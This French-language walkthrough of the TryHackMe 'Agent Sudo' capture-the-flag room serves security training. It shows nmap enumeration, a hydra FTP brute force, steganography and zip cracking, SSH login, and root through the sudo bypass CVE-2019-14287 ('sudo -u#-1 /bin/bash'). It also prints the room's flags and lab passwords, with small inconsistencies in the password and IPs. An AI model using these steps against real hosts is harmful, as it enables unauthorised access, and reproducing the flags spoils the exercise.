Aller au contenu

Lien du CTF.


Lien du CTF : https://tryhackme.com/room/agentsudoctf

Solution

Enumération :

sudo nmap -O -A -sV 10.10.191.84
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-28 14:45 EDT
Nmap scan report for 10.10.191.84
Host is up (0.11s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ef:1f:5d:04:d4:77:95:06:60:72:ec:f0:58:f2:cc:07 (RSA)
|   256 5e:02:d1:9a:c4:e7:43:06:62:c1:9e:25:84:8a:e7:ea (ECDSA)
|_  256 2d:00:5c:b9:fd:a8:c8:d8:80:e3:92:4f:8b:4f:18:e2 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Annoucement
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=6/28%OT=21%CT=1%CU=41510%PV=Y%DS=2%DC=T%G=Y%TM=60DA191
OS:2%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=104%TI=Z%TS=A)SEQ(SP=105%GC
OS:D=1%ISR=10D%TI=Z%II=I%TS=A)SEQ(SP=105%GCD=1%ISR=10D%TI=Z%CI=I%II=I%TS=A)
OS:OPS(O1=M505ST11NW6%O2=M505ST11NW6%O3=M505NNT11NW6%O4=M505ST11NW6%O5=M505
OS:ST11NW6%O6=M505ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)
OS:ECN(R=Y%DF=Y%T=40%W=6903%O=M505NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%
OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T
OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=
OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF
OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40
OS:%CD=S)

Modification de l'user agent en remplaçant par 'C' ou 'R'.

Nom à trouvé : chris

Brutefroce FTP

hydra -l chris -P /usr/share/wordlists/rockyou.txt ftp://10.10.3.96   

Password : crystal

Extract image data

stegextract cutie.png

zip2john cutie_dumps > hash.txt
John hash.txt
password : alien

cat ToAgentR.txt

Agent C,

We need to send the picture to 'QXJlYTUx' as soon as possible!

By, Agent R

QXJlYTUx -> From base64 -> Area51 Password = Area51

steghide --extract -sf cute-alien.jpg 

cat message.txt

Hi james,

WGlad you find this message. Your login password is hackerrules!

Don't ask me why the password look cheesy, ask agent R who set this password for you.

Your buddy, chris

Nom à trouvé : james

Connection SSH

User : james Password : hckerrules!

ssh james@<address_ip>

User flag

b03d975e8c92a7c04146cfa7a5a313c7

Copie de l'image

scp -P 22 james@10.10.173.178:Alien_autospy.jpg Alien_autospy.jpg

https://www.foxnews.com/science/filmmaker-reveals-how-he-faked-infamous-roswell-alien-autopsy-footage-in-a-london-apartment Roswell alien autopsy

Priv

https://www.exploit-db.com/exploits/47502

CVE id :CVE-2019-14287

sudo -u#-1 /bin/bash

priv_agent.png

Flag root : b53a02f55b57d4439e3341834d70c062

Nom de l'agent R : DesKel